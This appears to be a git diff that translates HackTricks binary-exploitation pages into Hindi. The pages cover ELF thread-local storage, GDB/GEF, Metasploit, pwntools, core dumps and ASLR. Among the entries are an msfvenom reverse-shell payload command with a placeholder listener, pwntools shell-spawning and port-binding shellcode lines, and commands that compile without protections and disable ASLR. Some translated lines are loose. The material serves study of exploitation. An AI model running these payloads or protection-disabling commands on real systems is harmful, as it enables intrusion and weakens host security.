6. यदि एक पुस्तकालय है, तो dlopen यहाँ समाप्त होता है, यदि एक प्रोग्राम है, तो **real entry point** (`main` फ़ंक्शन) को कॉल करने का समय होता है।
|
||||
|
||||
## Thread-Local Storage (TLS)
|
||||
|
||||
They are defined using the keyword **`__thread_local`** in C++ or the GNU extension **`__thread`**.
|
||||
इन्हें C++ में कीवर्ड **`__thread_local`** या GNU एक्सटेंशन **`__thread`** का उपयोग करके परिभाषित किया गया है।
|
||||
|
||||
Each thread will maintain a unique location for this variable so only the thread can access its variable.
|
||||
प्रत्येक थ्रेड इस चर के लिए एक अद्वितीय स्थान बनाएगा ताकि केवल थ्रेड अपने चर तक पहुँच सके।
|
||||
|
||||
When this is used the sections **`.tdata`** and **`.tbss`** are used in the ELF. Which are like `.data` (initialized) and `.bss` (not initialized) but for TLS.
|
||||
जब इसका उपयोग किया जाता है, तो ELF में अनुभाग **`.tdata`** और **`.tbss`** का उपयोग किया जाता है। जो `.data` (प्रारंभिक) और `.bss` (अनियोजित) के समान होते हैं लेकिन TLS के लिए।
|
||||
|
||||
Each variable will hace an entry in the TLS header specifying the size and the TLS offset, which is the offset it will use in the thread's local data area.
|
||||
प्रत्येक चर का TLS हेडर में एक प्रविष्टि होगी जो आकार और TLS ऑफसेट को निर्दिष्ट करती है, जो थ्रेड के स्थानीय डेटा क्षेत्र में उपयोग किया जाने वाला ऑफसेट है।
|
||||
|
||||
The `__TLS_MODULE_BASE` is a symbol used to refer to the base address of the thread local storage and points to the area in memory that contains all the thread-local data of a module.
|
||||
`__TLS_MODULE_BASE` एक प्रतीक है जिसका उपयोग थ्रेड स्थानीय भंडारण के आधार पते को संदर्भित करने के लिए किया जाता है और यह मेमोरी के उस क्षेत्र की ओर इशारा करता है जिसमें एक मॉड्यूल के सभी थ्रेड-स्थानीय डेटा होते हैं।
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
@ -1,9 +1,8 @@
|
||||
# Exploiting Tools
|
||||
# उपकरणों का शोषण
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Metasploit
|
||||
|
||||
```bash
|
||||
pattern_create.rb -l 3000 #Length
|
||||
pattern_offset.rb -l 3000 -q 5f97d534 #Search offset
|
||||
@ -11,31 +10,23 @@ nasm_shell.rb
|
||||
nasm> jmp esp #Get opcodes
|
||||
msfelfscan -j esi /opt/fusion/bin/level01
|
||||
```
|
||||
|
||||
### Shellcodes
|
||||
|
||||
### शेलकोड्स
|
||||
```bash
|
||||
msfvenom /p windows/shell_reverse_tcp LHOST=<IP> LPORT=<PORT> [EXITFUNC=thread] [-e x86/shikata_ga_nai] -b "\x00\x0a\x0d" -f c
|
||||
```
|
||||
|
||||
## GDB
|
||||
|
||||
### Install
|
||||
|
||||
### स्थापित करें
|
||||
```bash
|
||||
apt-get install gdb
|
||||
```
|
||||
|
||||
### Parameters
|
||||
|
||||
### पैरामीटर
|
||||
```bash
|
||||
-q # No show banner
|
||||
-x <file> # Auto-execute GDB instructions from here
|
||||
-p <pid> # Attach to process
|
||||
```
|
||||
|
||||
### Instructions
|
||||
|
||||
### निर्देश
|
||||
```bash
|
||||
run # Execute
|
||||
start # Start and break in main
|
||||
@ -81,11 +72,9 @@ x/s pointer # String pointed by the pointer
|
||||
x/xw &pointer # Address where the pointer is located
|
||||
x/i $eip # Instructions of the EIP
|
||||
```
|
||||
|
||||
### [GEF](https://github.com/hugsy/gef)
|
||||
|
||||
You could optionally use [**this fork of GE**](https://github.com/bata24/gef)[**F**](https://github.com/bata24/gef) which contains more interesting instructions.
|
||||
|
||||
आप वैकल्पिक रूप से [**GE**](https://github.com/bata24/gef)[**F**](https://github.com/bata24/gef) का **यह फोर्क** उपयोग कर सकते हैं जिसमें अधिक दिलचस्प निर्देश शामिल हैं।
|
||||
```bash
|
||||
help memory # Get help on memory command
|
||||
canary # Search for canary value in memory
|
||||
@ -118,34 +107,32 @@ dump binary memory /tmp/dump.bin 0x200000000 0x20000c350
|
||||
1- Put a bp after the function that overwrites the RIP and send a ppatern to ovwerwrite it
|
||||
2- ef➤ i f
|
||||
Stack level 0, frame at 0x7fffffffddd0:
|
||||
rip = 0x400cd3; saved rip = 0x6261617762616176
|
||||
called by frame at 0x7fffffffddd8
|
||||
Arglist at 0x7fffffffdcf8, args:
|
||||
Locals at 0x7fffffffdcf8, Previous frame's sp is 0x7fffffffddd0
|
||||
Saved registers:
|
||||
rbp at 0x7fffffffddc0, rip at 0x7fffffffddc8
|
||||
rip = 0x400cd3; saved rip = 0x6261617762616176
|
||||
called by frame at 0x7fffffffddd8
|
||||
Arglist at 0x7fffffffdcf8, args:
|
||||
Locals at 0x7fffffffdcf8, Previous frame's sp is 0x7fffffffddd0
|
||||
Saved registers:
|
||||
rbp at 0x7fffffffddc0, rip at 0x7fffffffddc8
|
||||
gef➤ pattern search 0x6261617762616176
|
||||
[+] Searching for '0x6261617762616176'
|
||||
[+] Found at offset 184 (little-endian search) likely
|
||||
```
|
||||
|
||||
### Tricks
|
||||
|
||||
#### GDB same addresses
|
||||
#### GDB समान पते
|
||||
|
||||
While debugging GDB will have **slightly different addresses than the used by the binary when executed.** You can make GDB have the same addresses by doing:
|
||||
जब आप डिबगिंग कर रहे होते हैं, तो GDB के पास **बाइनरी द्वारा निष्पादित होने पर उपयोग किए गए पते की तुलना में थोड़ा अलग पते होंगे।** आप GDB को समान पते रखने के लिए कर सकते हैं:
|
||||
|
||||
- `unset env LINES`
|
||||
- `unset env COLUMNS`
|
||||
- `set env _=<path>` _Put the absolute path to the binary_
|
||||
- Exploit the binary using the same absolute route
|
||||
- `PWD` and `OLDPWD` must be the same when using GDB and when exploiting the binary
|
||||
- `set env _=<path>` _बाइनरी का पूर्ण पथ डालें_
|
||||
- बाइनरी का शोषण समान पूर्ण मार्ग का उपयोग करके करें
|
||||
- `PWD` और `OLDPWD` GDB का उपयोग करते समय और बाइनरी का शोषण करते समय समान होना चाहिए
|
||||
|
||||
#### Backtrace to find functions called
|
||||
|
||||
When you have a **statically linked binary** all the functions will belong to the binary (and no to external libraries). In this case it will be difficult to **identify the flow that the binary follows to for example ask for user input**.\
|
||||
You can easily identify this flow by **running** the binary with **gdb** until you are asked for input. Then, stop it with **CTRL+C** and use the **`bt`** (**backtrace**) command to see the functions called:
|
||||
#### फ़ंक्शंस को खोजने के लिए बैकट्रेस
|
||||
|
||||
जब आपके पास एक **स्थैतिक रूप से लिंक की गई बाइनरी** होती है, तो सभी फ़ंक्शन बाइनरी से संबंधित होंगे (और बाहरी पुस्तकालयों से नहीं)। इस मामले में, **उपयोगकर्ता इनपुट मांगने के लिए बाइनरी द्वारा अनुसरण किए जाने वाले प्रवाह की पहचान करना कठिन होगा।**\
|
||||
आप इस प्रवाह की पहचान आसानी से कर सकते हैं **gdb** के साथ बाइनरी को **चलाकर** जब तक कि आप इनपुट के लिए नहीं पूछे जाते। फिर, इसे **CTRL+C** के साथ रोकें और **`bt`** (**बैकट्रेस**) कमांड का उपयोग करें ताकि आप कॉल किए गए फ़ंक्शंस को देख सकें:
|
||||
```
|
||||
gef➤ bt
|
||||
#0 0x00000000004498ae in ?? ()
|
||||
@ -154,87 +141,80 @@ gef➤ bt
|
||||
#3 0x00000000004011a9 in ?? ()
|
||||
#4 0x0000000000400a5a in ?? ()
|
||||
```
|
||||
### GDB सर्वर
|
||||
|
||||
### GDB server
|
||||
|
||||
`gdbserver --multi 0.0.0.0:23947` (in IDA you have to fill the absolute path of the executable in the Linux machine and in the Windows machine)
|
||||
`gdbserver --multi 0.0.0.0:23947` (IDA में आपको Linux मशीन में executable का पूर्ण पथ भरना होगा और Windows मशीन में)
|
||||
|
||||
## Ghidra
|
||||
|
||||
### Find stack offset
|
||||
### स्टैक ऑफसेट खोजें
|
||||
|
||||
**Ghidra** is very useful to find the the **offset** for a **buffer overflow thanks to the information about the position of the local variables.**\
|
||||
For example, in the example below, a buffer flow in `local_bc` indicates that you need an offset of `0xbc`. Moreover, if `local_10` is a canary cookie it indicates that to overwrite it from `local_bc` there is an offset of `0xac`.\
|
||||
&#xNAN;_Remember that the first 0x08 from where the RIP is saved belongs to the RBP._
|
||||
**Ghidra** **स्थानीय चर की स्थिति के बारे में जानकारी के लिए** **बफर ओवरफ्लो के लिए ऑफसेट** खोजने में बहुत उपयोगी है।\
|
||||
उदाहरण के लिए, नीचे दिए गए उदाहरण में, `local_bc` में एक बफर प्रवाह इंगित करता है कि आपको `0xbc` का ऑफसेट चाहिए। इसके अलावा, यदि `local_10` एक कैनरी कुकी है, तो यह इंगित करता है कि इसे `local_bc` से ओवरराइट करने के लिए `0xac` का ऑफसेट है।\
|
||||
&#xNAN;_Remember कि पहले 0x08 से जहां RIP सहेजा गया है, वह RBP से संबंधित है।_
|
||||
|
||||
.png>)
|
||||
|
||||
## qtool
|
||||
|
||||
```bash
|
||||
qltool run -v disasm --no-console --log-file disasm.txt --rootfs ./ ./prog
|
||||
```
|
||||
|
||||
Get every opcode executed in the program.
|
||||
|
||||
## GCC
|
||||
|
||||
**gcc -fno-stack-protector -D_FORTIFY_SOURCE=0 -z norelro -z execstack 1.2.c -o 1.2** --> Compile without protections\
|
||||
&#xNAN;**-o** --> Output\
|
||||
&#xNAN;**-g** --> Save code (GDB will be able to see it)\
|
||||
**echo 0 > /proc/sys/kernel/randomize_va_space** --> To deactivate the ASLR in linux
|
||||
**gcc -fno-stack-protector -D_FORTIFY_SOURCE=0 -z norelro -z execstack 1.2.c -o 1.2** --> सुरक्षा के बिना संकलित करें\
|
||||
&#xNAN;**-o** --> आउटपुट\
|
||||
&#xNAN;**-g** --> कोड सहेजें (GDB इसे देख सकेगा)\
|
||||
**echo 0 > /proc/sys/kernel/randomize_va_space** --> लिनक्स में ASLR को निष्क्रिय करने के लिए
|
||||
|
||||
**To compile a shellcode:**\
|
||||
**nasm -f elf assembly.asm** --> return a ".o"\
|
||||
**ld assembly.o -o shellcodeout** --> Executable
|
||||
**एक शेलकोड संकलित करने के लिए:**\
|
||||
**nasm -f elf assembly.asm** --> एक ".o" लौटाता है\
|
||||
**ld assembly.o -o shellcodeout** --> निष्पादन योग्य
|
||||
|
||||
## Objdump
|
||||
|
||||
**-d** --> **Disassemble executable** sections (see opcodes of a compiled shellcode, find ROP Gadgets, find function address...)\
|
||||
&#xNAN;**-Mintel** --> **Intel** syntax\
|
||||
&#xNAN;**-t** --> **Symbols** table\
|
||||
&#xNAN;**-D** --> **Disassemble all** (address of static variable)\
|
||||
&#xNAN;**-s -j .dtors** --> dtors section\
|
||||
&#xNAN;**-s -j .got** --> got section\
|
||||
-D -s -j .plt --> **plt** section **decompiled**\
|
||||
&#xNAN;**-TR** --> **Relocations**\
|
||||
**ojdump -t --dynamic-relo ./exec | grep puts** --> Address of "puts" to modify in GOT\
|
||||
**objdump -D ./exec | grep "VAR_NAME"** --> Address or a static variable (those are stored in DATA section).
|
||||
**-d** --> **निष्पादन योग्य** अनुभागों को असेंबल करें (संकलित शेलकोड के ऑपकोड देखें, ROP गैजेट्स खोजें, फ़ंक्शन का पता लगाएं...)\
|
||||
&#xNAN;**-Mintel** --> **Intel** सिंटैक्स\
|
||||
&#xNAN;**-t** --> **सिंबल्स** तालिका\
|
||||
&#xNAN;**-D** --> **सभी को असेंबल करें** (स्थिर चर का पता)\
|
||||
&#xNAN;**-s -j .dtors** --> dtors अनुभाग\
|
||||
&#xNAN;**-s -j .got** --> got अनुभाग\
|
||||
-D -s -j .plt --> **plt** अनुभाग **डीकंपाइल**\
|
||||
&#xNAN;**-TR** --> **रिलोकेशन**\
|
||||
**ojdump -t --dynamic-relo ./exec | grep puts** --> GOT में संशोधन के लिए "puts" का पता\
|
||||
**objdump -D ./exec | grep "VAR_NAME"** --> एक स्थिर चर का पता (ये DATA अनुभाग में संग्रहीत होते हैं)।
|
||||
|
||||
## Core dumps
|
||||
|
||||
1. Run `ulimit -c unlimited` before starting my program
|
||||
2. Run `sudo sysctl -w kernel.core_pattern=/tmp/core-%e.%p.%h.%t`
|
||||
1. अपने प्रोग्राम को शुरू करने से पहले `ulimit -c unlimited` चलाएं
|
||||
2. `sudo sysctl -w kernel.core_pattern=/tmp/core-%e.%p.%h.%t` चलाएं
|
||||
3. sudo gdb --core=\<path/core> --quiet
|
||||
|
||||
## More
|
||||
|
||||
**ldd executable | grep libc.so.6** --> Address (if ASLR, then this change every time)\
|
||||
**for i in \`seq 0 20\`; do ldd \<Ejecutable> | grep libc; done** --> Loop to see if the address changes a lot\
|
||||
**readelf -s /lib/i386-linux-gnu/libc.so.6 | grep system** --> Offset of "system"\
|
||||
**strings -a -t x /lib/i386-linux-gnu/libc.so.6 | grep /bin/sh** --> Offset of "/bin/sh"
|
||||
**ldd executable | grep libc.so.6** --> पता (यदि ASLR है, तो यह हर बार बदलता है)\
|
||||
**for i in \`seq 0 20\`; do ldd \<Ejecutable> | grep libc; done** --> यह देखने के लिए लूप कि क्या पता बहुत बदलता है\
|
||||
**readelf -s /lib/i386-linux-gnu/libc.so.6 | grep system** --> "system" का ऑफसेट\
|
||||
**strings -a -t x /lib/i386-linux-gnu/libc.so.6 | grep /bin/sh** --> "/bin/sh" का ऑफसेट
|
||||
|
||||
**strace executable** --> Functions called by the executable\
|
||||
**rabin2 -i ejecutable -->** Address of all the functions
|
||||
**strace executable** --> निष्पादन योग्य द्वारा कॉल की गई फ़ंक्शन\
|
||||
**rabin2 -i ejecutable -->** सभी फ़ंक्शनों का पता
|
||||
|
||||
## **Inmunity debugger**
|
||||
|
||||
```bash
|
||||
!mona modules #Get protections, look for all false except last one (Dll of SO)
|
||||
!mona find -s "\xff\xe4" -m name_unsecure.dll #Search for opcodes insie dll space (JMP ESP)
|
||||
```
|
||||
|
||||
## IDA
|
||||
|
||||
### Debugging in remote linux
|
||||
|
||||
Inside the IDA folder you can find binaries that can be used to debug a binary inside a linux. To do so move the binary `linux_server` or `linux_server64` inside the linux server and run it nside the folder that contains the binary:
|
||||
### दूरस्थ लिनक्स में डिबगिंग
|
||||
|
||||
IDA फ़ोल्डर के अंदर आप बाइनरी पा सकते हैं जिन्हें लिनक्स के अंदर एक बाइनरी को डिबग करने के लिए उपयोग किया जा सकता है। ऐसा करने के लिए बाइनरी `linux_server` या `linux_server64` को लिनक्स सर्वर के अंदर ले जाएं और उस फ़ोल्डर के अंदर चलाएं जिसमें बाइनरी है:
|
||||
```
|
||||
./linux_server64 -Ppass
|
||||
```
|
||||
|
||||
Then, configure the debugger: Debugger (linux remote) --> Proccess options...:
|
||||
फिर, डिबगर को कॉन्फ़िगर करें: Debugger (linux remote) --> Proccess options...:
|
||||
|
||||
.png>)
|
||||
|
||||
|
||||
@ -1,120 +1,100 @@
|
||||
# PwnTools
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
```
|
||||
pip3 install pwntools
|
||||
```
|
||||
|
||||
## Pwn asm
|
||||
|
||||
Get **opcodes** from line or file.
|
||||
|
||||
लाइन या फ़ाइल से **opcodes** प्राप्त करें।
|
||||
```
|
||||
pwn asm "jmp esp"
|
||||
pwn asm -i <filepath>
|
||||
```
|
||||
**चुन सकते हैं:**
|
||||
|
||||
**Can select:**
|
||||
- आउटपुट प्रकार (raw, hex, string, elf)
|
||||
- आउटपुट फ़ाइल संदर्भ (16, 32, 64, linux, windows...)
|
||||
- बाइट्स से बचें (नए पंक्तियाँ, null, एक सूची)
|
||||
- gdb का उपयोग करके डिबग शेलकोड एन्कोडर का चयन करें और आउटपुट चलाएँ
|
||||
|
||||
- output type (raw,hex,string,elf)
|
||||
- output file context (16,32,64,linux,windows...)
|
||||
- avoid bytes (new lines, null, a list)
|
||||
- select encoder debug shellcode using gdb run the output
|
||||
|
||||
## **Pwn checksec**
|
||||
|
||||
Checksec script
|
||||
## **Pwn चेकसेक**
|
||||
|
||||
Checksec स्क्रिप्ट
|
||||
```
|
||||
pwn checksec <executable>
|
||||
```
|
||||
|
||||
## Pwn constgrep
|
||||
|
||||
## Pwn cyclic
|
||||
|
||||
Get a pattern
|
||||
|
||||
एक पैटर्न प्राप्त करें
|
||||
```
|
||||
pwn cyclic 3000
|
||||
pwn cyclic -l faad
|
||||
```
|
||||
**चुन सकते हैं:**
|
||||
|
||||
**Can select:**
|
||||
|
||||
- The used alphabet (lowercase chars by default)
|
||||
- Length of uniq pattern (default 4)
|
||||
- context (16,32,64,linux,windows...)
|
||||
- Take the offset (-l)
|
||||
- उपयोग किया गया वर्णमाला (डिफ़ॉल्ट रूप से छोटे अक्षर)
|
||||
- अद्वितीय पैटर्न की लंबाई (डिफ़ॉल्ट 4)
|
||||
- संदर्भ (16,32,64,linux,windows...)
|
||||
- ऑफसेट लें (-l)
|
||||
|
||||
## Pwn debug
|
||||
|
||||
Attach GDB to a process
|
||||
|
||||
GDB को एक प्रक्रिया से संलग्न करें
|
||||
```
|
||||
pwn debug --exec /bin/bash
|
||||
pwn debug --pid 1234
|
||||
pwn debug --process bash
|
||||
```
|
||||
**चुन सकते हैं:**
|
||||
|
||||
**Can select:**
|
||||
|
||||
- By executable, by name or by pid context (16,32,64,linux,windows...)
|
||||
- gdbscript to execute
|
||||
- निष्पादन योग्य, नाम या पीआईडी संदर्भ द्वारा (16,32,64,linux,windows...)
|
||||
- निष्पादित करने के लिए gdbscript
|
||||
- sysrootpath
|
||||
|
||||
## Pwn disablenx
|
||||
|
||||
Disable nx of a binary
|
||||
|
||||
बाइनरी का nx बंद करें
|
||||
```
|
||||
pwn disablenx <filepath>
|
||||
```
|
||||
|
||||
## Pwn disasm
|
||||
|
||||
Disas hex opcodes
|
||||
|
||||
डिसास हेक्स ऑपकोड्स
|
||||
```
|
||||
pwn disasm ffe4
|
||||
```
|
||||
**चुन सकते हैं:**
|
||||
|
||||
**Can select:**
|
||||
|
||||
- context (16,32,64,linux,windows...)
|
||||
- base addres
|
||||
- color(default)/no color
|
||||
- संदर्भ (16,32,64,linux,windows...)
|
||||
- आधार पता
|
||||
- रंग (डिफ़ॉल्ट)/कोई रंग नहीं
|
||||
|
||||
## Pwn elfdiff
|
||||
|
||||
Print differences between 2 files
|
||||
|
||||
2 फ़ाइलों के बीच के अंतर प्रिंट करें
|
||||
```
|
||||
pwn elfdiff <file1> <file2>
|
||||
```
|
||||
|
||||
## Pwn hex
|
||||
|
||||
Get hexadecimal representation
|
||||
|
||||
हेक्साडेसिमल प्रतिनिधित्व प्राप्त करें
|
||||
```bash
|
||||
pwn hex hola #Get hex of "hola" ascii
|
||||
```
|
||||
|
||||
## Pwn phd
|
||||
|
||||
Get hexdump
|
||||
|
||||
हेक्सडंप प्राप्त करें
|
||||
```
|
||||
pwn phd <file>
|
||||
```
|
||||
**चुन सकते हैं:**
|
||||
|
||||
**Can select:**
|
||||
|
||||
- Number of bytes to show
|
||||
- Number of bytes per line highlight byte
|
||||
- Skip bytes at beginning
|
||||
- दिखाने के लिए बाइट्स की संख्या
|
||||
- प्रति पंक्ति हाइलाइट बाइट्स की संख्या
|
||||
- शुरुआत में बाइट्स छोड़ें
|
||||
|
||||
## Pwn pwnstrip
|
||||
|
||||
@ -122,8 +102,7 @@ pwn phd <file>
|
||||
|
||||
## Pwn shellcraft
|
||||
|
||||
Get shellcodes
|
||||
|
||||
शेलकोड प्राप्त करें
|
||||
```
|
||||
pwn shellcraft -l #List shellcodes
|
||||
pwn shellcraft -l amd #Shellcode with amd in the name
|
||||
@ -131,46 +110,39 @@ pwn shellcraft -f hex amd64.linux.sh #Create in C and run
|
||||
pwn shellcraft -r amd64.linux.sh #Run to test. Get shell
|
||||
pwn shellcraft .r amd64.linux.bindsh 9095 #Bind SH to port
|
||||
```
|
||||
**चुन सकते हैं:**
|
||||
|
||||
**Can select:**
|
||||
- शेलकोड और शेलकोड के लिए तर्क
|
||||
- आउट फ़ाइल
|
||||
- आउटपुट प्रारूप
|
||||
- डिबग (शेलकोड पर dbg संलग्न करें)
|
||||
- पहले (कोड से पहले डिबग ट्रैप)
|
||||
- बाद में
|
||||
- ऑपकोड का उपयोग करने से बचें (डिफ़ॉल्ट: नल और नई पंक्ति नहीं)
|
||||
- शेलकोड चलाएँ
|
||||
- रंग/बिना रंग
|
||||
- सिस्टम कॉल की सूची
|
||||
- संभावित शेलकोड की सूची
|
||||
- साझा पुस्तकालय के रूप में ELF उत्पन्न करें
|
||||
|
||||
- shellcode and arguments for the shellcode
|
||||
- Out file
|
||||
- output format
|
||||
- debug (attach dbg to shellcode)
|
||||
- before (debug trap before code)
|
||||
- after
|
||||
- avoid using opcodes (default: not null and new line)
|
||||
- Run the shellcode
|
||||
- Color/no color
|
||||
- list syscalls
|
||||
- list possible shellcodes
|
||||
- Generate ELF as a shared library
|
||||
|
||||
## Pwn template
|
||||
|
||||
Get a python template
|
||||
## Pwn टेम्पलेट
|
||||
|
||||
एक पायथन टेम्पलेट प्राप्त करें
|
||||
```
|
||||
pwn template
|
||||
```
|
||||
|
||||
**Can select:** host, port, user, pass, path and quiet
|
||||
**चुन सकते हैं:** होस्ट, पोर्ट, उपयोगकर्ता, पास, पथ और चुप
|
||||
|
||||
## Pwn unhex
|
||||
|
||||
From hex to string
|
||||
|
||||
हेक्स से स्ट्रिंग में
|
||||
```
|
||||
pwn unhex 686f6c61
|
||||
```
|
||||
## Pwn अपडेट
|
||||
|
||||
## Pwn update
|
||||
|
||||
To update pwntools
|
||||
|
||||
pwntools को अपडेट करने के लिए
|
||||
```
|
||||
pwn update
|
||||
```
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
@ -1,35 +1,29 @@
|
||||
# Common Binary Exploitation Protections & Bypasses
|
||||
# सामान्य बाइनरी शोषण सुरक्षा और बायपास
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
## Enable Core files
|
||||
## कोर फ़ाइलें सक्षम करें
|
||||
|
||||
**Core files** are a type of file generated by an operating system when a process crashes. These files capture the memory image of the crashed process at the time of its termination, including the process's memory, registers, and program counter state, among other details. This snapshot can be extremely valuable for debugging and understanding why the crash occurred.
|
||||
**कोर फ़ाइलें** एक प्रकार की फ़ाइल होती हैं जो एक ऑपरेटिंग सिस्टम द्वारा तब उत्पन्न की जाती हैं जब कोई प्रक्रिया क्रैश होती है। ये फ़ाइलें क्रैश हुई प्रक्रिया की मेमोरी छवि को उसके समाप्ति के समय कैप्चर करती हैं, जिसमें प्रक्रिया की मेमोरी, रजिस्टर और प्रोग्राम काउंटर की स्थिति, अन्य विवरणों के साथ शामिल होती हैं। यह स्नैपशॉट डिबगिंग और यह समझने के लिए अत्यंत मूल्यवान हो सकता है कि क्रैश क्यों हुआ।
|
||||
|
||||
### **Enabling Core Dump Generation**
|
||||
### **कोर डंप जनरेशन सक्षम करना**
|
||||
|
||||
By default, many systems limit the size of core files to 0 (i.e., they do not generate core files) to save disk space. To enable the generation of core files, you can use the **`ulimit`** command (in bash or similar shells) or configure system-wide settings.
|
||||
|
||||
- **Using ulimit**: The command `ulimit -c unlimited` allows the current shell session to create unlimited-sized core files. This is useful for debugging sessions but is not persistent across reboots or new sessions.
|
||||
डिफ़ॉल्ट रूप से, कई सिस्टम कोर फ़ाइलों के आकार को 0 (यानी, वे कोर फ़ाइलें उत्पन्न नहीं करते) तक सीमित करते हैं ताकि डिस्क स्थान बचाया जा सके। कोर फ़ाइलों के उत्पादन को सक्षम करने के लिए, आप **`ulimit`** कमांड (bash या समान शेल में) का उपयोग कर सकते हैं या सिस्टम-व्यापी सेटिंग्स को कॉन्फ़िगर कर सकते हैं।
|
||||
|
||||
- **ulimit का उपयोग करना**: कमांड `ulimit -c unlimited` वर्तमान शेल सत्र को असीमित आकार की कोर फ़ाइलें बनाने की अनुमति देती है। यह डिबगिंग सत्रों के लिए उपयोगी है लेकिन रिबूट या नए सत्रों के बीच स्थायी नहीं है।
|
||||
```bash
|
||||
ulimit -c unlimited
|
||||
```
|
||||
|
||||
- **Persistent Configuration**: For a more permanent solution, you can edit the `/etc/security/limits.conf` file to include a line like `* soft core unlimited`, which allows all users to generate unlimited size core files without having to set ulimit manually in their sessions.
|
||||
|
||||
- **स्थायी कॉन्फ़िगरेशन**: एक अधिक स्थायी समाधान के लिए, आप `/etc/security/limits.conf` फ़ाइल को संपादित कर सकते हैं ताकि इसमें एक पंक्ति शामिल हो जैसे `* soft core unlimited`, जो सभी उपयोगकर्ताओं को बिना अपने सत्रों में मैन्युअल रूप से ulimit सेट किए बिना असीमित आकार के कोर फ़ाइलें उत्पन्न करने की अनुमति देती है।
|
||||
```markdown
|
||||
- soft core unlimited
|
||||
```
|
||||
### **GDB के साथ कोर फ़ाइलों का विश्लेषण करना**
|
||||
|
||||
### **Analyzing Core Files with GDB**
|
||||
|
||||
To analyze a core file, you can use debugging tools like GDB (the GNU Debugger). Assuming you have an executable that produced a core dump and the core file is named `core_file`, you can start the analysis with:
|
||||
|
||||
कोर फ़ाइल का विश्लेषण करने के लिए, आप GDB (GNU डिबगर) जैसे डिबगिंग टूल का उपयोग कर सकते हैं। मान लीजिए कि आपके पास एक निष्पादन योग्य फ़ाइल है जिसने एक कोर डंप उत्पन्न किया और कोर फ़ाइल का नाम `core_file` है, आप विश्लेषण शुरू कर सकते हैं:
|
||||
```bash
|
||||
gdb /path/to/executable /path/to/core_file
|
||||
```
|
||||
|
||||
This command loads the executable and the core file into GDB, allowing you to inspect the state of the program at the time of the crash. You can use GDB commands to explore the stack, examine variables, and understand the cause of the crash.
|
||||
यह कमांड निष्पादन योग्य और कोर फ़ाइल को GDB में लोड करता है, जिससे आप क्रैश के समय प्रोग्राम की स्थिति की जांच कर सकते हैं। आप स्टैक का पता लगाने, वेरिएबल की जांच करने और क्रैश के कारण को समझने के लिए GDB कमांड का उपयोग कर सकते हैं।
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
@ -4,105 +4,90 @@
|
||||
|
||||
## Basic Information
|
||||
|
||||
**Address Space Layout Randomization (ASLR)** is a security technique used in operating systems to **randomize the memory addresses** used by system and application processes. By doing so, it makes it significantly harder for an attacker to predict the location of specific processes and data, such as the stack, heap, and libraries, thereby mitigating certain types of exploits, particularly buffer overflows.
|
||||
**एड्रेस स्पेस लेआउट रैंडमाइजेशन (ASLR)** एक सुरक्षा तकनीक है जो ऑपरेटिंग सिस्टम में **सिस्टम और एप्लिकेशन प्रक्रियाओं द्वारा उपयोग किए जाने वाले मेमोरी पते** को रैंडमाइज़ करने के लिए उपयोग की जाती है। ऐसा करने से, यह हमलावर के लिए विशिष्ट प्रक्रियाओं और डेटा, जैसे कि स्टैक, हीप, और लाइब्रेरी के स्थान की भविष्यवाणी करना काफी कठिन बना देता है, जिससे कुछ प्रकार के एक्सप्लॉइट्स, विशेष रूप से बफर ओवरफ्लोज़, को कम किया जा सकता है।
|
||||
|
||||
### **Checking ASLR Status**
|
||||
### **ASLR स्थिति की जांच करना**
|
||||
|
||||
To **check** the ASLR status on a Linux system, you can read the value from the **`/proc/sys/kernel/randomize_va_space`** file. The value stored in this file determines the type of ASLR being applied:
|
||||
Linux सिस्टम पर ASLR स्थिति **जांचने** के लिए, आप **`/proc/sys/kernel/randomize_va_space`** फ़ाइल से मान पढ़ सकते हैं। इस फ़ाइल में संग्रहीत मान यह निर्धारित करता है कि किस प्रकार का ASLR लागू किया जा रहा है:
|
||||
|
||||
- **0**: No randomization. Everything is static.
|
||||
- **1**: Conservative randomization. Shared libraries, stack, mmap(), VDSO page are randomized.
|
||||
- **2**: Full randomization. In addition to elements randomized by conservative randomization, memory managed through `brk()` is randomized.
|
||||
|
||||
You can check the ASLR status with the following command:
|
||||
- **0**: कोई रैंडमाइजेशन नहीं। सब कुछ स्थिर है।
|
||||
- **1**: संवेदनशील रैंडमाइजेशन। साझा लाइब्रेरी, स्टैक, mmap(), VDSO पृष्ठ रैंडमाइज किए जाते हैं।
|
||||
- **2**: पूर्ण रैंडमाइजेशन। संवेदनशील रैंडमाइजेशन द्वारा रैंडमाइज किए गए तत्वों के अलावा, `brk()` के माध्यम से प्रबंधित मेमोरी रैंडमाइज की जाती है।
|
||||
|
||||
आप निम्नलिखित कमांड के साथ ASLR स्थिति की जांच कर सकते हैं:
|
||||
```bash
|
||||
cat /proc/sys/kernel/randomize_va_space
|
||||
```
|
||||
### **ASLR को अक्षम करना**
|
||||
|
||||
### **Disabling ASLR**
|
||||
|
||||
To **disable** ASLR, you set the value of `/proc/sys/kernel/randomize_va_space` to **0**. Disabling ASLR is generally not recommended outside of testing or debugging scenarios. Here's how you can disable it:
|
||||
|
||||
ASLR को **अक्षम** करने के लिए, आप `/proc/sys/kernel/randomize_va_space` का मान **0** पर सेट करते हैं। ASLR को अक्षम करना आमतौर पर परीक्षण या डिबगिंग परिदृश्यों के बाहर अनुशंसित नहीं है। इसे अक्षम करने का तरीका यहाँ है:
|
||||
```bash
|
||||
echo 0 | sudo tee /proc/sys/kernel/randomize_va_space
|
||||
```
|
||||
|
||||
You can also disable ASLR for an execution with:
|
||||
|
||||
आप एक निष्पादन के लिए ASLR को निम्नलिखित के साथ भी अक्षम कर सकते हैं:
|
||||
```bash
|
||||
setarch `arch` -R ./bin args
|
||||
setarch `uname -m` -R ./bin args
|
||||
```
|
||||
### **ASLR सक्षम करना**
|
||||
|
||||
### **Enabling ASLR**
|
||||
|
||||
To **enable** ASLR, you can write a value of **2** to the `/proc/sys/kernel/randomize_va_space` file. This typically requires root privileges. Enabling full randomization can be done with the following command:
|
||||
|
||||
